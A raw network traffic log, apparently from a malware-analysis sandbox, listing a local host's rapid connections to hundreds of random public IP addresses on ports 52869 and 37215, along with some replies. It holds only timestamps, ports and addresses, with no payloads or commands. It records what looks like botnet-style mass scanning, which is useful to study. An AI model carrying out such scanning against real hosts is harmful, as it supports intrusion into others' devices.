Jul 20, 2024 23:05:44.604027033 CEST	43695	52869	192.168.2.13	84.65.221.164
Jul 20, 2024 23:05:44.604027033 CEST	43695	52869	192.168.2.13	136.181.245.81
Jul 20, 2024 23:05:44.604027033 CEST	43695	52869	192.168.2.13	19.233.90.87
Jul 20, 2024 23:05:44.604027033 CEST	43695	52869	192.168.2.13	177.183.191.29
Jul 20, 2024 23:05:44.604027033 CEST	43695	52869	192.168.2.13	133.39.149.8
Jul 20, 2024 23:05:44.604027033 CEST	43695	52869	192.168.2.13	80.48.49.198
Jul 20, 2024 23:05:44.604027033 CEST	43695	52869	192.168.2.13	118.120.254.119
Jul 20, 2024 23:05:44.604027033 CEST	43695	52869	192.168.2.13	74.72.233.88
Jul 20, 2024 23:05:44.604717970 CEST	43695	52869	192.168.2.13	152.36.106.192
Jul 20, 2024 23:05:44.604717970 CEST	43695	52869	192.168.2.13	115.13.230.130
Jul 20, 2024 23:05:44.604717970 CEST	43695	52869	192.168.2.13	191.248.177.130
Jul 20, 2024 23:05:44.604717970 CEST	43695	52869	192.168.2.13	128.188.159.110
Jul 20, 2024 23:05:44.604717970 CEST	43695	52869	192.168.2.13	116.131.8.200
Jul 20, 2024 23:05:44.604717970 CEST	43695	52869	192.168.2.13	39.121.59.122
Jul 20, 2024 23:05:44.604717970 CEST	43695	52869	192.168.2.13	169.136.232.117
Jul 20, 2024 23:05:44.604717970 CEST	43695	52869	192.168.2.13	14.168.208.242
Jul 20, 2024 23:05:44.606055021 CEST	44719	37215	192.168.2.13	157.27.67.226
Jul 20, 2024 23:05:44.606055021 CEST	44719	37215	192.168.2.13	157.198.103.119
Jul 20, 2024 23:05:44.606055021 CEST	44719	37215	192.168.2.13	157.129.11.38
Jul 20, 2024 23:05:44.606055021 CEST	44719	37215	192.168.2.13	157.80.69.184
Jul 20, 2024 23:05:44.606055021 CEST	44719	37215	192.168.2.13	157.136.223.71
Jul 20, 2024 23:05:44.606055021 CEST	44719	37215	192.168.2.13	157.135.46.253
Jul 20, 2024 23:05:44.606055021 CEST	44719	37215	192.168.2.13	197.17.61.246
Jul 20, 2024 23:05:44.606055021 CEST	44719	37215	192.168.2.13	197.40.78.120
Jul 20, 2024 23:05:44.606272936 CEST	43695	52869	192.168.2.13	74.133.211.9
Jul 20, 2024 23:05:44.606272936 CEST	43695	52869	192.168.2.13	105.38.165.57
Jul 20, 2024 23:05:44.606272936 CEST	43695	52869	192.168.2.13	194.142.230.141
Jul 20, 2024 23:05:44.606272936 CEST	43695	52869	192.168.2.13	158.53.218.25
Jul 20, 2024 23:05:44.606272936 CEST	43695	52869	192.168.2.13	118.107.35.185
Jul 20, 2024 23:05:44.606272936 CEST	43695	52869	192.168.2.13	196.166.77.185
Jul 20, 2024 23:05:44.606272936 CEST	43695	52869	192.168.2.13	196.5.188.187
Jul 20, 2024 23:05:44.606272936 CEST	43695	52869	192.168.2.13	195.235.63.144
Jul 20, 2024 23:05:44.606947899 CEST	43695	52869	192.168.2.13	160.103.123.175
Jul 20, 2024 23:05:44.606947899 CEST	43695	52869	192.168.2.13	109.13.19.240
Jul 20, 2024 23:05:44.606947899 CEST	43695	52869	192.168.2.13	205.244.252.193
Jul 20, 2024 23:05:44.606947899 CEST	43695	52869	192.168.2.13	167.168.158.76
Jul 20, 2024 23:05:44.606947899 CEST	43695	52869	192.168.2.13	49.134.57.119
Jul 20, 2024 23:05:44.606947899 CEST	43695	52869	192.168.2.13	62.80.115.9
Jul 20, 2024 23:05:44.606947899 CEST	43695	52869	192.168.2.13	88.169.184.0
Jul 20, 2024 23:05:44.606947899 CEST	43695	52869	192.168.2.13	70.24.145.153
Jul 20, 2024 23:05:44.608769894 CEST	43695	52869	192.168.2.13	134.55.152.47
Jul 20, 2024 23:05:44.608769894 CEST	43695	52869	192.168.2.13	157.19.95.25
Jul 20, 2024 23:05:44.608769894 CEST	43695	52869	192.168.2.13	218.34.97.149
Jul 20, 2024 23:05:44.608769894 CEST	43695	52869	192.168.2.13	57.150.87.191
Jul 20, 2024 23:05:44.608769894 CEST	43695	52869	192.168.2.13	46.185.107.117
Jul 20, 2024 23:05:44.608769894 CEST	43695	52869	192.168.2.13	106.234.222.202
Jul 20, 2024 23:05:44.608769894 CEST	43695	52869	192.168.2.13	96.118.26.30
Jul 20, 2024 23:05:44.608769894 CEST	43695	52869	192.168.2.13	4.3.233.76
Jul 20, 2024 23:05:44.609231949 CEST	43695	52869	192.168.2.13	81.130.219.80
Jul 20, 2024 23:05:44.609231949 CEST	43695	52869	192.168.2.13	120.59.246.65
Jul 20, 2024 23:05:44.609231949 CEST	43695	52869	192.168.2.13	52.254.116.53
Jul 20, 2024 23:05:44.609231949 CEST	43695	52869	192.168.2.13	111.20.235.69
Jul 20, 2024 23:05:44.609231949 CEST	43695	52869	192.168.2.13	92.253.193.163
Jul 20, 2024 23:05:44.609231949 CEST	43695	52869	192.168.2.13	97.127.217.219
Jul 20, 2024 23:05:44.609231949 CEST	43695	52869	192.168.2.13	168.94.82.38
Jul 20, 2024 23:05:44.609586000 CEST	44719	37215	192.168.2.13	197.248.55.217
Jul 20, 2024 23:05:44.609586000 CEST	44719	37215	192.168.2.13	157.79.148.14
Jul 20, 2024 23:05:44.609586000 CEST	44719	37215	192.168.2.13	138.116.140.217
Jul 20, 2024 23:05:44.609586000 CEST	44719	37215	192.168.2.13	118.254.136.146
Jul 20, 2024 23:05:44.609586000 CEST	44719	37215	192.168.2.13	157.199.185.233
Jul 20, 2024 23:05:44.609586000 CEST	44719	37215	192.168.2.13	197.89.91.91
Jul 20, 2024 23:05:44.609586000 CEST	44719	37215	192.168.2.13	157.0.50.2
Jul 20, 2024 23:05:44.609586000 CEST	44719	37215	192.168.2.13	157.136.154.194
Jul 20, 2024 23:05:44.611124039 CEST	43695	52869	192.168.2.13	153.136.201.68
Jul 20, 2024 23:05:44.611124039 CEST	43695	52869	192.168.2.13	78.233.207.44
Jul 20, 2024 23:05:44.611124039 CEST	43695	52869	192.168.2.13	54.79.20.157
Jul 20, 2024 23:05:44.611124039 CEST	43695	52869	192.168.2.13	47.194.167.78
Jul 20, 2024 23:05:44.611124039 CEST	43695	52869	192.168.2.13	66.105.78.156
Jul 20, 2024 23:05:44.611124039 CEST	43695	52869	192.168.2.13	165.195.21.156
Jul 20, 2024 23:05:44.611124039 CEST	43695	52869	192.168.2.13	105.237.84.144
Jul 20, 2024 23:05:44.611124039 CEST	43695	52869	192.168.2.13	170.220.197.28
Jul 20, 2024 23:05:44.612399101 CEST	44719	37215	192.168.2.13	98.76.237.55
Jul 20, 2024 23:05:44.612399101 CEST	44719	37215	192.168.2.13	197.222.130.126
Jul 20, 2024 23:05:44.612399101 CEST	44719	37215	192.168.2.13	197.15.26.244
Jul 20, 2024 23:05:44.612399101 CEST	44719	37215	192.168.2.13	197.207.55.68
Jul 20, 2024 23:05:44.612399101 CEST	44719	37215	192.168.2.13	157.91.144.97
Jul 20, 2024 23:05:44.612399101 CEST	44719	37215	192.168.2.13	157.38.127.92
Jul 20, 2024 23:05:44.612399101 CEST	44719	37215	192.168.2.13	157.16.15.67
Jul 20, 2024 23:05:44.612860918 CEST	43695	52869	192.168.2.13	112.70.81.45
Jul 20, 2024 23:05:44.612860918 CEST	43695	52869	192.168.2.13	151.172.243.41
Jul 20, 2024 23:05:44.612860918 CEST	43695	52869	192.168.2.13	114.112.129.209
Jul 20, 2024 23:05:44.612860918 CEST	43695	52869	192.168.2.13	52.26.90.12
Jul 20, 2024 23:05:44.612860918 CEST	43695	52869	192.168.2.13	97.152.19.63
Jul 20, 2024 23:05:44.612860918 CEST	43695	52869	192.168.2.13	112.141.208.102
Jul 20, 2024 23:05:44.612860918 CEST	43695	52869	192.168.2.13	175.96.242.92
Jul 20, 2024 23:05:44.612862110 CEST	43695	52869	192.168.2.13	40.83.33.16
Jul 20, 2024 23:05:44.613461018 CEST	43695	52869	192.168.2.13	48.83.97.150
Jul 20, 2024 23:05:44.613461018 CEST	43695	52869	192.168.2.13	75.53.159.225
Jul 20, 2024 23:05:44.613461018 CEST	43695	52869	192.168.2.13	74.236.246.215
Jul 20, 2024 23:05:44.613461018 CEST	43695	52869	192.168.2.13	121.248.62.61
Jul 20, 2024 23:05:44.613461018 CEST	43695	52869	192.168.2.13	217.248.157.47
Jul 20, 2024 23:05:44.613461018 CEST	43695	52869	192.168.2.13	149.124.199.51
Jul 20, 2024 23:05:44.613461018 CEST	43695	52869	192.168.2.13	221.111.209.148
Jul 20, 2024 23:05:44.614963055 CEST	43695	52869	192.168.2.13	192.138.59.234
Jul 20, 2024 23:05:44.614963055 CEST	43695	52869	192.168.2.13	194.168.65.49
Jul 20, 2024 23:05:44.614963055 CEST	43695	52869	192.168.2.13	149.158.95.13
Jul 20, 2024 23:05:44.614963055 CEST	43695	52869	192.168.2.13	163.118.107.64
Jul 20, 2024 23:05:44.614963055 CEST	43695	52869	192.168.2.13	179.104.253.233
Jul 20, 2024 23:05:44.614963055 CEST	43695	52869	192.168.2.13	194.209.194.23
Jul 20, 2024 23:05:44.614963055 CEST	43695	52869	192.168.2.13	118.155.59.91
Jul 20, 2024 23:05:44.615645885 CEST	44719	37215	192.168.2.13	197.30.56.247
Jul 20, 2024 23:05:44.615645885 CEST	44719	37215	192.168.2.13	41.67.235.248
Jul 20, 2024 23:05:44.615645885 CEST	44719	37215	192.168.2.13	157.134.207.23
Jul 20, 2024 23:05:44.615645885 CEST	44719	37215	192.168.2.13	208.22.61.188
Jul 20, 2024 23:05:44.615645885 CEST	44719	37215	192.168.2.13	197.117.81.181
Jul 20, 2024 23:05:44.615645885 CEST	44719	37215	192.168.2.13	41.8.11.107
Jul 20, 2024 23:05:44.615645885 CEST	44719	37215	192.168.2.13	27.57.69.110
Jul 20, 2024 23:05:44.616137981 CEST	43695	52869	192.168.2.13	84.200.98.41
Jul 20, 2024 23:05:44.616137981 CEST	43695	52869	192.168.2.13	173.185.128.187
Jul 20, 2024 23:05:44.616137981 CEST	43695	52869	192.168.2.13	87.155.162.116
Jul 20, 2024 23:05:44.616137981 CEST	43695	52869	192.168.2.13	135.81.139.251
Jul 20, 2024 23:05:44.616137981 CEST	43695	52869	192.168.2.13	124.190.191.169
Jul 20, 2024 23:05:44.616137981 CEST	43695	52869	192.168.2.13	119.180.62.120
Jul 20, 2024 23:05:44.616137981 CEST	43695	52869	192.168.2.13	138.92.96.134
Jul 20, 2024 23:05:44.616137981 CEST	43695	52869	192.168.2.13	200.24.126.189
Jul 20, 2024 23:05:44.617796898 CEST	37215	44719	147.233.201.83	192.168.2.13
Jul 20, 2024 23:05:44.617803097 CEST	8081	36212	93.210.42.24	192.168.2.13
Jul 20, 2024 23:05:44.617814064 CEST	52869	43695	191.248.177.130	192.168.2.13
Jul 20, 2024 23:05:44.617819071 CEST	52869	43695	136.24.70.56	192.168.2.13
Jul 20, 2024 23:05:44.617825031 CEST	80	36696	95.145.15.233	192.168.2.13
Jul 20, 2024 23:05:44.617831945 CEST	52869	43695	80.48.49.198	192.168.2.13
Jul 20, 2024 23:05:44.617834091 CEST	37215	44719	41.103.203.136	192.168.2.13
Jul 20, 2024 23:05:44.617846012 CEST	52869	43695	106.225.80.214	192.168.2.13
Jul 20, 2024 23:05:44.617855072 CEST	52869	43695	102.46.199.20	192.168.2.13
Jul 20, 2024 23:05:44.617856979 CEST	80	48478	95.26.106.67	192.168.2.13
Jul 20, 2024 23:05:44.617862940 CEST	52869	43695	74.72.233.88	192.168.2.13
Jul 20, 2024 23:05:44.617862940 CEST	52869	43695	54.79.20.157	192.168.2.13
Jul 20, 2024 23:05:44.617870092 CEST	52869	43695	149.223.236.152	192.168.2.13
Jul 20, 2024 23:05:44.617872000 CEST	52869	43695	98.62.191.234	192.168.2.13
Jul 20, 2024 23:05:44.617876053 CEST	52869	43695	220.159.9.134	192.168.2.13
Jul 20, 2024 23:05:44.617877960 CEST	52869	43695	221.3.242.5	192.168.2.13
Jul 20, 2024 23:05:44.617878914 CEST	52869	43695	84.205.84.200	192.168.2.13
Jul 20, 2024 23:05:44.618011951 CEST	80	40226	95.155.207.83	192.168.2.13
Jul 20, 2024 23:05:44.618014097 CEST	52869	43695	136.117.93.58	192.168.2.13
Jul 20, 2024 23:05:44.618021965 CEST	37215	44719	151.128.221.242	192.168.2.13
Jul 20, 2024 23:05:44.618022919 CEST	37215	44719	157.135.46.253	192.168.2.13
Jul 20, 2024 23:05:44.618026972 CEST	37215	44719	41.94.29.29	192.168.2.13
Jul 20, 2024 23:05:44.618036032 CEST	52869	43695	2.151.18.206	192.168.2.13
Jul 20, 2024 23:05:44.618041992 CEST	37215	44719	220.140.76.88	192.168.2.13
Jul 20, 2024 23:05:44.618043900 CEST	37215	44719	41.11.182.124	192.168.2.13
Jul 20, 2024 23:05:44.618045092 CEST	80	59026	95.27.149.121	192.168.2.13
Jul 20, 2024 23:05:44.618046999 CEST	37215	44719	197.40.78.120	192.168.2.13
Jul 20, 2024 23:05:44.618047953 CEST	52869	43695	198.139.127.65	192.168.2.13
Jul 20, 2024 23:05:44.618051052 CEST	52869	43695	72.17.189.116	192.168.2.13
Jul 20, 2024 23:05:44.618057966 CEST	52869	43695	134.55.152.47	192.168.2.13
Jul 20, 2024 23:05:44.618068933 CEST	8081	57312	117.148.184.206	192.168.2.13
Jul 20, 2024 23:05:44.618071079 CEST	37215	44719	197.79.38.107	192.168.2.13
Jul 20, 2024 23:05:44.618072033 CEST	37215	44719	197.183.255.235	192.168.2.13
Jul 20, 2024 23:05:44.618077040 CEST	37215	44719	163.241.212.180	192.168.2.13
Jul 20, 2024 23:05:44.618078947 CEST	37215	44719	157.30.207.238	192.168.2.13
Jul 20, 2024 23:05:44.618079901 CEST	52869	43695	101.73.4.16	192.168.2.13
Jul 20, 2024 23:05:44.618081093 CEST	37215	44719	41.90.78.253	192.168.2.13
Jul 20, 2024 23:05:44.618082047 CEST	37215	44719	41.252.251.183	192.168.2.13
Jul 20, 2024 23:05:44.618083000 CEST	52869	43695	187.150.149.148	192.168.2.13
Jul 20, 2024 23:05:44.618086100 CEST	37215	44719	157.218.98.239	192.168.2.13
Jul 20, 2024 23:05:44.618084908 CEST	43695	52869	192.168.2.13	90.216.122.186
Jul 20, 2024 23:05:44.618086100 CEST	43695	52869	192.168.2.13	63.11.194.94
Jul 20, 2024 23:05:44.618086100 CEST	43695	52869	192.168.2.13	5.9.22.217
Jul 20, 2024 23:05:44.618086100 CEST	43695	52869	192.168.2.13	98.98.44.54
Jul 20, 2024 23:05:44.618086100 CEST	43695	52869	192.168.2.13	139.96.160.91
Jul 20, 2024 23:05:44.618088007 CEST	37215	44719	201.205.132.204	192.168.2.13
Jul 20, 2024 23:05:44.618086100 CEST	43695	52869	192.168.2.13	85.167.215.211
Jul 20, 2024 23:05:44.618086100 CEST	43695	52869	192.168.2.13	160.90.122.124
Jul 20, 2024 23:05:44.618086100 CEST	43695	52869	192.168.2.13	135.143.149.62
Jul 20, 2024 23:05:44.618093014 CEST	37215	44719	41.81.9.102	192.168.2.13
Jul 20, 2024 23:05:44.618094921 CEST	37215	44719	41.113.145.203	192.168.2.13
Jul 20, 2024 23:05:44.618094921 CEST	37215	44719	41.101.51.250	192.168.2.13
Jul 20, 2024 23:05:44.618097067 CEST	37215	44719	197.249.186.160	192.168.2.13
Jul 20, 2024 23:05:44.618099928 CEST	52869	43695	137.36.77.53	192.168.2.13
Jul 20, 2024 23:05:44.618102074 CEST	37215	44719	157.199.216.214	192.168.2.13
Jul 20, 2024 23:05:44.618113995 CEST	52869	43695	78.233.207.44	192.168.2.13
Jul 20, 2024 23:05:44.618140936 CEST	8081	45536	115.217.160.85	192.168.2.13
Jul 20, 2024 23:05:44.618143082 CEST	37215	44719	157.136.223.71	192.168.2.13
Jul 20, 2024 23:05:44.618148088 CEST	8081	60994	223.10.101.195	192.168.2.13
Jul 20, 2024 23:05:44.618151903 CEST	37215	44719	157.215.207.96	192.168.2.13
Jul 20, 2024 23:05:44.618154049 CEST	37215	44719	197.70.4.171	192.168.2.13
Jul 20, 2024 23:05:44.618163109 CEST	37215	44719	157.250.31.164	192.168.2.13
Jul 20, 2024 23:05:44.618168116 CEST	37215	44719	41.102.235.10	192.168.2.13
Jul 20, 2024 23:05:44.618171930 CEST	37215	44719	41.231.6.176	192.168.2.13
Jul 20, 2024 23:05:44.618172884 CEST	37215	44719	197.75.246.24	192.168.2.13
Jul 20, 2024 23:05:44.618174076 CEST	37215	44719	150.159.12.246	192.168.2.13
Jul 20, 2024 23:05:44.618174076 CEST	37215	44719	41.22.217.152	192.168.2.13
Jul 20, 2024 23:05:44.618175983 CEST	52869	43695	105.38.165.57	192.168.2.13
Jul 20, 2024 23:05:44.618176937 CEST	37215	44719	41.18.75.134	192.168.2.13
Jul 20, 2024 23:05:44.618177891 CEST	52869	43695	42.140.137.117	192.168.2.13
Jul 20, 2024 23:05:44.618177891 CEST	37215	44719	197.248.194.40	192.168.2.13
Jul 20, 2024 23:05:44.618180990 CEST	37215	44719	157.1.73.107	192.168.2.13
Jul 20, 2024 23:05:44.618181944 CEST	52869	43695	62.80.115.9	192.168.2.13
Jul 20, 2024 23:05:44.618184090 CEST	37215	44719	60.102.77.146	192.168.2.13
Jul 20, 2024 23:05:44.618185997 CEST	37215	44719	85.61.71.33	192.168.2.13
Jul 20, 2024 23:05:44.618186951 CEST	37215	44719	157.76.93.169	192.168.2.13
Jul 20, 2024 23:05:44.618187904 CEST	52869	43695	195.235.63.144	192.168.2.13
Jul 20, 2024 23:05:44.618189096 CEST	37215	44719	41.187.161.26	192.168.2.13
Jul 20, 2024 23:05:44.618191957 CEST	37215	44719	197.74.70.31	192.168.2.13
Jul 20, 2024 23:05:44.618192911 CEST	52869	43695	138.132.215.240	192.168.2.13
Jul 20, 2024 23:05:44.618195057 CEST	37215	44719	197.221.35.92	192.168.2.13
Jul 20, 2024 23:05:44.618196011 CEST	80	58310	95.111.165.44	192.168.2.13
Jul 20, 2024 23:05:44.618196964 CEST	52869	43695	162.187.150.19	192.168.2.13
Jul 20, 2024 23:05:44.618201017 CEST	37215	44719	197.46.239.156	192.168.2.13
Jul 20, 2024 23:05:44.618201971 CEST	37215	44719	41.200.3.249	192.168.2.13
Jul 20, 2024 23:05:44.618202925 CEST	37215	44719	157.76.157.23	192.168.2.13
Jul 20, 2024 23:05:44.618206024 CEST	52869	43695	92.253.193.163	192.168.2.13
Jul 20, 2024 23:05:44.618206024 CEST	37215	44719	197.42.25.100	192.168.2.13
Jul 20, 2024 23:05:44.618207932 CEST	52869	43695	107.96.10.112	192.168.2.13
Jul 20, 2024 23:05:44.618208885 CEST	80	37122	95.136.84.40	192.168.2.13
Jul 20, 2024 23:05:44.618221998 CEST	52869	43695	81.130.219.80	192.168.2.13
Jul 20, 2024 23:05:44.618227005 CEST	52869	43695	57.150.87.191	192.168.2.13
Jul 20, 2024 23:05:44.618232012 CEST	80	60306	95.143.222.132	192.168.2.13
Jul 20, 2024 23:05:44.618236065 CEST	52869	43695	52.254.116.53	192.168.2.13
Jul 20, 2024 23:05:44.618247032 CEST	80	36106	95.239.165.65	192.168.2.13
Jul 20, 2024 23:05:44.618252039 CEST	80	58504	95.17.196.163	192.168.2.13
Jul 20, 2024 23:05:44.618254900 CEST	37215	44719	197.17.61.246	192.168.2.13
Jul 20, 2024 23:05:44.618263006 CEST	80	45182	95.185.121.56	192.168.2.13
Jul 20, 2024 23:05:44.618267059 CEST	52869	43695	152.36.106.192	192.168.2.13
Jul 20, 2024 23:05:44.618272066 CEST	52869	43695	31.5.25.199	192.168.2.13
Jul 20, 2024 23:05:44.618277073 CEST	52869	43695	174.221.8.61	192.168.2.13
Jul 20, 2024 23:05:44.618278027 CEST	52869	43695	196.5.188.187	192.168.2.13
Jul 20, 2024 23:05:44.618279934 CEST	52869	43695	101.59.242.87	192.168.2.13
Jul 20, 2024 23:05:44.618285894 CEST	52869	43695	194.72.202.29	192.168.2.13
Jul 20, 2024 23:05:44.618288040 CEST	52869	43695	93.187.137.171	192.168.2.13
Jul 20, 2024 23:05:44.618288994 CEST	52869	43695	31.155.55.8	192.168.2.13
Jul 20, 2024 23:05:44.618289948 CEST	52869	43695	44.187.248.15	192.168.2.13
Jul 20, 2024 23:05:44.618290901 CEST	52869	43695	185.61.229.112	192.168.2.13
Jul 20, 2024 23:05:44.618294001 CEST	52869	43695	132.142.106.204	192.168.2.13
Jul 20, 2024 23:05:44.618294954 CEST	52869	43695	205.216.169.243	192.168.2.13
Jul 20, 2024 23:05:44.618295908 CEST	52869	43695	46.81.190.204	192.168.2.13
Jul 20, 2024 23:05:44.618298054 CEST	52869	43695	78.110.167.93	192.168.2.13
Jul 20, 2024 23:05:44.618299961 CEST	52869	43695	66.105.78.156	192.168.2.13
Jul 20, 2024 23:05:44.618304014 CEST	52869	43695	97.127.217.219	192.168.2.13
Jul 20, 2024 23:05:44.618304968 CEST	52869	43695	213.105.255.191	192.168.2.13
Jul 20, 2024 23:05:44.618307114 CEST	52869	43695	104.34.54.41	192.168.2.13
Jul 20, 2024 23:05:44.618309021 CEST	52869	43695	54.82.97.176	192.168.2.13
Jul 20, 2024 23:05:44.618309975 CEST	52869	43695	130.201.224.129	192.168.2.13
Jul 20, 2024 23:05:44.618310928 CEST	52869	43695	49.53.198.223	192.168.2.13
Jul 20, 2024 23:05:44.618311882 CEST	52869	43695	88.169.184.0	192.168.2.13
Jul 20, 2024 23:05:44.618315935 CEST	52869	43695	158.231.228.107	192.168.2.13
Jul 20, 2024 23:05:44.618316889 CEST	52869	43695	218.45.227.32	192.168.2.13
Jul 20, 2024 23:05:44.618319035 CEST	52869	43695	177.34.128.116	192.168.2.13
Jul 20, 2024 23:05:44.618323088 CEST	52869	43695	187.143.119.37	192.168.2.13
Jul 20, 2024 23:05:44.618324041 CEST	52869	43695	84.65.221.164	192.168.2.13
Jul 20, 2024 23:05:44.618324041 CEST	52869	43695	140.247.232.124	192.168.2.13
Jul 20, 2024 23:05:44.618324995 CEST	52869	43695	70.24.145.153	192.168.2.13
Jul 20, 2024 23:05:44.618325949 CEST	37215	44719	157.0.50.2	192.168.2.13
Jul 20, 2024 23:05:44.618328094 CEST	37215	44719	25.122.150.15	192.168.2.13
Jul 20, 2024 23:05:44.618330002 CEST	52869	43695	19.233.90.87	192.168.2.13
Jul 20, 2024 23:05:44.618333101 CEST	52869	43695	128.188.159.110	192.168.2.13
Jul 20, 2024 23:05:44.618334055 CEST	52869	43695	118.120.254.119	192.168.2.13
Jul 20, 2024 23:05:44.618338108 CEST	52869	43695	118.107.35.185	192.168.2.13
Jul 20, 2024 23:05:44.618340015 CEST	52869	43695	39.121.59.122	192.168.2.13
Jul 20, 2024 23:05:44.618341923 CEST	37215	44719	157.27.67.226	192.168.2.13
Jul 20, 2024 23:05:44.618344069 CEST	52869	43695	169.136.232.117	192.168.2.13
Jul 20, 2024 23:05:44.618345022 CEST	52869	43695	14.168.208.242	192.168.2.13
Jul 20, 2024 23:05:44.618346930 CEST	52869	43695	160.103.123.175	192.168.2.13
Jul 20, 2024 23:05:44.618349075 CEST	52869	43695	194.142.230.141	192.168.2.13
Jul 20, 2024 23:05:44.618350029 CEST	52869	43695	109.13.19.240	192.168.2.13
Jul 20, 2024 23:05:44.618350983 CEST	52869	43695	158.53.218.25	192.168.2.13
Jul 20, 2024 23:05:44.618351936 CEST	52869	43695	49.134.57.119	192.168.2.13
Jul 20, 2024 23:05:44.618369102 CEST	52869	43695	205.244.252.193	192.168.2.13
Jul 20, 2024 23:05:44.618371964 CEST	52869	43695	196.166.77.185	192.168.2.13
Jul 20, 2024 23:05:44.618398905 CEST	37215	44719	118.254.136.146	192.168.2.13
Jul 20, 2024 23:05:44.618401051 CEST	52869	43695	157.19.95.25	192.168.2.13
Jul 20, 2024 23:05:44.618406057 CEST	52869	43695	218.34.97.149	192.168.2.13
Jul 20, 2024 23:05:44.618407965 CEST	37215	44719	197.248.55.217	192.168.2.13
Jul 20, 2024 23:05:44.618408918 CEST	37215	44719	157.79.148.14	192.168.2.13
Jul 20, 2024 23:05:44.618410110 CEST	52869	43695	46.185.107.117	192.168.2.13
Jul 20, 2024 23:05:44.618411064 CEST	52869	43695	106.234.222.202	192.168.2.13
Jul 20, 2024 23:05:44.618412018 CEST	52869	43695	120.59.246.65	192.168.2.13
Jul 20, 2024 23:05:44.618412971 CEST	37215	44719	138.116.140.217	192.168.2.13
Jul 20, 2024 23:05:44.618417025 CEST	52869	43695	96.118.26.30	192.168.2.13
Jul 20, 2024 23:05:44.618417978 CEST	52869	43695	4.3.233.76	192.168.2.13
Jul 20, 2024 23:05:44.618418932 CEST	52869	43695	111.20.235.69	192.168.2.13
Jul 20, 2024 23:05:44.618418932 CEST	52869	43695	153.136.201.68	192.168.2.13
Jul 20, 2024 23:05:44.618421078 CEST	37215	44719	197.89.91.91	192.168.2.13
Jul 20, 2024 23:05:44.618422031 CEST	37215	44719	157.199.185.233	192.168.2.13
Jul 20, 2024 23:05:44.618429899 CEST	52869	43695	47.194.167.78	192.168.2.13
Jul 20, 2024 23:05:44.618431091 CEST	37215	44719	157.136.154.194	192.168.2.13
Jul 20, 2024 23:05:44.618431091 CEST	37215	44719	98.76.237.55	192.168.2.13
Jul 20, 2024 23:05:44.618432045 CEST	52869	43695	165.195.21.156	192.168.2.13
Jul 20, 2024 23:05:44.618438005 CEST	52869	43695	168.94.82.38	192.168.2.13
Jul 20, 2024 23:05:44.618448019 CEST	37215	44719	197.222.130.126	192.168.2.13
Jul 20, 2024 23:05:44.618452072 CEST	52869	43695	105.237.84.144	192.168.2.13
Jul 20, 2024 23:05:44.618460894 CEST	37215	44719	197.15.26.244	192.168.2.13
Jul 20, 2024 23:05:44.618464947 CEST	52869	43695	112.70.81.45	192.168.2.13
Jul 20, 2024 23:05:44.618477106 CEST	52869	43695	170.220.197.28	192.168.2.13
Jul 20, 2024 23:05:44.618510008 CEST	37215	44719	197.207.55.68	192.168.2.13
Jul 20, 2024 23:05:44.618772984 CEST	43695	52869	192.168.2.13	136.196.141.137
Jul 20, 2024 23:05:44.618772984 CEST	43695	52869	192.168.2.13	89.97.223.75
Jul 20, 2024 23:05:44.618773937 CEST	43695	52869	192.168.2.13	134.207.153.84
Jul 20, 2024 23:05:44.618773937 CEST	43695	52869	192.168.2.13	213.59.63.60
Jul 20, 2024 23:05:44.618773937 CEST	43695	52869	192.168.2.13	183.196.30.7
Jul 20, 2024 23:05:44.618773937 CEST	43695	52869	192.168.2.13	175.208.180.93
Jul 20, 2024 23:05:44.618773937 CEST	43695	52869	192.168.2.13	9.71.24.238
Jul 20, 2024 23:05:44.618877888 CEST	52869	43695	151.172.243.41	192.168.2.13
Jul 20, 2024 23:05:44.618899107 CEST	37215	44719	157.91.144.97	192.168.2.13
Jul 20, 2024 23:05:44.618902922 CEST	52869	43695	114.112.129.209	192.168.2.13
Jul 20, 2024 23:05:44.619127035 CEST	52869	43695	48.83.97.150	192.168.2.13
Jul 20, 2024 23:05:44.619132042 CEST	52869	43695	52.26.90.12	192.168.2.13
Jul 20, 2024 23:05:44.619232893 CEST	52869	43695	75.53.159.225	192.168.2.13
Jul 20, 2024 23:05:44.619807005 CEST	52869	43695	97.152.19.63	192.168.2.13
Jul 20, 2024 23:05:44.619848967 CEST	52869	43695	74.236.246.215	192.168.2.13
Jul 20, 2024 23:05:44.619931936 CEST	52869	43695	112.141.208.102	192.168.2.13
Jul 20, 2024 23:05:44.619936943 CEST	52869	43695	121.248.62.61	192.168.2.13
Jul 20, 2024 23:05:44.619946003 CEST	52869	43695	175.96.242.92	192.168.2.13
Jul 20, 2024 23:05:44.619950056 CEST	52869	43695	40.83.33.16	192.168.2.13
Jul 20, 2024 23:05:44.620131969 CEST	52869	43695	192.138.59.234	192.168.2.13
Jul 20, 2024 23:05:44.620203018 CEST	37215	44719	157.38.127.92	192.168.2.13
Jul 20, 2024 23:05:44.620382071 CEST	52869	43695	194.168.65.49	192.168.2.13
Jul 20, 2024 23:05:44.620623112 CEST	52869	43695	217.248.157.47	192.168.2.13
Jul 20, 2024 23:05:44.620626926 CEST	52869	43695	149.158.95.13	192.168.2.13
Jul 20, 2024 23:05:44.620636940 CEST	37215	44719	157.16.15.67	192.168.2.13
Jul 20, 2024 23:05:44.620801926 CEST	52869	43695	149.124.199.51	192.168.2.13
Jul 20, 2024 23:05:44.620806932 CEST	37215	44719	197.30.56.247	192.168.2.13
Jul 20, 2024 23:05:44.621170998 CEST	43695	52869	192.168.2.13	111.154.196.140
Jul 20, 2024 23:05:44.621170998 CEST	43695	52869	192.168.2.13	81.22.72.53
Jul 20, 2024 23:05:44.621170998 CEST	43695	52869	192.168.2.13	128.249.208.200
Jul 20, 2024 23:05:44.621170998 CEST	43695	52869	192.168.2.13	90.100.144.191
Jul 20, 2024 23:05:44.621170998 CEST	43695	52869	192.168.2.13	138.233.118.65
Jul 20, 2024 23:05:44.621170998 CEST	43695	52869	192.168.2.13	98.104.101.106
Jul 20, 2024 23:05:44.621170998 CEST	43695	52869	192.168.2.13	176.8.108.48
Jul 20, 2024 23:05:44.621170998 CEST	43695	52869	192.168.2.13	76.28.127.7
Jul 20, 2024 23:05:44.621195078 CEST	52869	43695	163.118.107.64	192.168.2.13
Jul 20, 2024 23:05:44.621207952 CEST	52869	43695	221.111.209.148	192.168.2.13
Jul 20, 2024 23:05:44.621332884 CEST	37215	44719	41.67.235.248	192.168.2.13
Jul 20, 2024 23:05:44.621865034 CEST	43695	52869	192.168.2.13	101.154.109.210
Jul 20, 2024 23:05:44.621865034 CEST	43695	52869	192.168.2.13	118.51.35.105
Jul 20, 2024 23:05:44.621865034 CEST	43695	52869	192.168.2.13	157.17.2.39
